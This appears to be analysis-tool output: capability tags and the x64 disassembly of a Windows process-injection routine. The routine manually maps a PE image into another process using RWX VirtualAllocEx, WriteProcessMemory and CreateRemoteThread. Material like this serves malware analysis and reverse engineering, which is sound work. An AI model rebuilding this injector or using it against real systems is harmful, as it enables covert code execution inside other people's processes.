Function at 0x7ff6ff0a7e10
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x7ff6ff13a080]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x18], 0
mov rax, qword [rsp + 0x268]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x7ff6ff0a7ee0
lea rax, [rbp]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp]
movzx r8d, byte [rbp + 1]
movzx edx, byte [rbp + 2]
lea rcx, [rbp + 0xa0]
call fcn.7ff6ff0b0170
mov rcx, rax
call fcn.7ff6ff0aa000
mov rcx, rax
call fcn.7ff6ff0a2700
xor al, al
jmp 0x7ff6ff0a8487
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
add rax, 0x18
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x38]
add rax, 4
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
movzx eax, word [rax]
cmp eax, 0x8664
je 0x7ff6ff0a7f7d
lea rax, [rbp + 3]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 5]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 3]
movzx r8d, byte [rbp + 4]
movzx edx, byte [rbp + 5]
lea rcx, [rbp + 0xc0]
call fcn.7ff6ff0b01c0
mov rcx, rax
call fcn.7ff6ff0a9dd0
mov rcx, rax
call fcn.7ff6ff0a2700
xor al, al
jmp 0x7ff6ff0a8487
call qword [sym.imp.ucrtbase.dll_rand]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
mov dword [rbp + 0x20], eax
imul eax, dword [rbp + 0x20], 0x1000
mov dword [rbp + 0x20], eax
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 0x38]
add eax, dword [rbp + 0x20]
mov eax, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x7ff6ff0a8080
mov rax, qword [rbp + 0x58]
mov eax, dword [rax + 0x38]
add eax, dword [rbp + 0x20]
mov eax, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x7ff6ff0a8080
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x48], eax
lea rax, [rbp + 6]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 7]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 6]
movzx r8d, byte [rbp + 7]
movzx edx, byte [rbp + 8]
lea rcx, [rbp + 0xe0]
call fcn.7ff6ff0b0240
mov rcx, rax
call fcn.7ff6ff0a9dd0
mov qword [rbp + 0x78], rax
mov edx, dword [rbp + 0x48]
mov rcx, qword [rbp + 0x78]
call fcn.7ff6ff0a2700
xor al, al
jmp 0x7ff6ff0a8487
lea rax, [rbp + 0x1a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov rax, qword [sym.imp.kernel32.dll_LoadLibraryA]
mov qword [rbp + 0x1a0], rax
mov rax, qword [sym.imp.kernel32.dll_GetProcAddress]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x24], 0
jmp 0x7ff6ff0a80e1
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x30]
add rax, 0x28
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x60]
movzx eax, word [rax + 2]
cmp dword [rbp + 0x24], eax
je 0x7ff6ff0a81e6
mov rax, qword [rbp + 0x30]
cmp dword [rax + 0x10], 0
je 0x7ff6ff0a81e1
mov rax, qword [rbp + 0x30]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp + 0x30]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rbp + 0x28]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x30]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0x18]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test eax, eax
jne 0x7ff6ff0a81e1
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x54], eax
lea rax, [rbp + 9]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xa]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xb]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 9]
movzx r8d, byte [rbp + 0xa]
movzx edx, byte [rbp + 0xb]
lea rcx, [rbp + 0x160]
call fcn.7ff6ff0b02c0
mov rcx, rax
call fcn.7ff6ff0aa170
mov qword [rbp + 0x80], rax
mov edx, dword [rbp + 0x54]
mov rcx, qword [rbp + 0x80]
call fcn.7ff6ff0a2700
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
xor al, al
jmp 0x7ff6ff0a8487
jmp 0x7ff6ff0a80cd
mov r8d, 0x18
lea rdx, [rbp + 0x1a0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.VCRUNTIME140.dll_memcpy_1]
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x40], 0
jne 0x7ff6ff0a82e8
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x50], eax
lea rax, [rbp + 0xc]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xd]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xe]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xc]
movzx r8d, byte [rbp + 0xd]
movzx edx, byte [rbp + 0xe]
lea rcx, [rbp + 0x120]
call fcn.7ff6ff0b0370
mov rcx, rax
call fcn.7ff6ff0aa170
mov qword [rbp + 0x88], rax
mov edx, dword [rbp + 0x50]
mov rcx, qword [rbp + 0x88]
call fcn.7ff6ff0a2700
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
xor al, al
jmp 0x7ff6ff0a8487
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, [0x7ff6ff0a84a0]
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x18]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x40]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x7ff6ff0a83fe
call qword [sym.imp.kernel32.dll_GetLastError]
mov dword [rbp + 0x4c], eax
lea rax, [rbp + 0xf]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x11]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xf]
movzx r8d, byte [rbp + 0x10]
movzx edx, byte [rbp + 0x11]
lea rcx, [rbp + 0x100]
call fcn.7ff6ff0b0420
mov rcx, rax
call fcn.7ff6ff0a9dd0
mov qword [rbp + 0x90], rax
mov edx, dword [rbp + 0x4c]
mov rcx, qword [rbp + 0x90]
call fcn.7ff6ff0a2700
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
xor al, al
jmp 0x7ff6ff0a8487
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x70], 0
cmp qword [rbp + 0x70], 0
jne 0x7ff6ff0a846a
lea rax, [rbp + 0x1b8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov r9d, 0x18
lea r8, [rbp + 0x1b8]
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
mov rax, qword [rbp + 0x1c8]
mov qword [rbp + 0x70], rax
mov ecx, 0xa
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff6ff0a8410
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rsp + 0x260]
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov al, 1
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.7ff6ff11b770
add rsp, 0x248
pop rdi
pop rbp
ret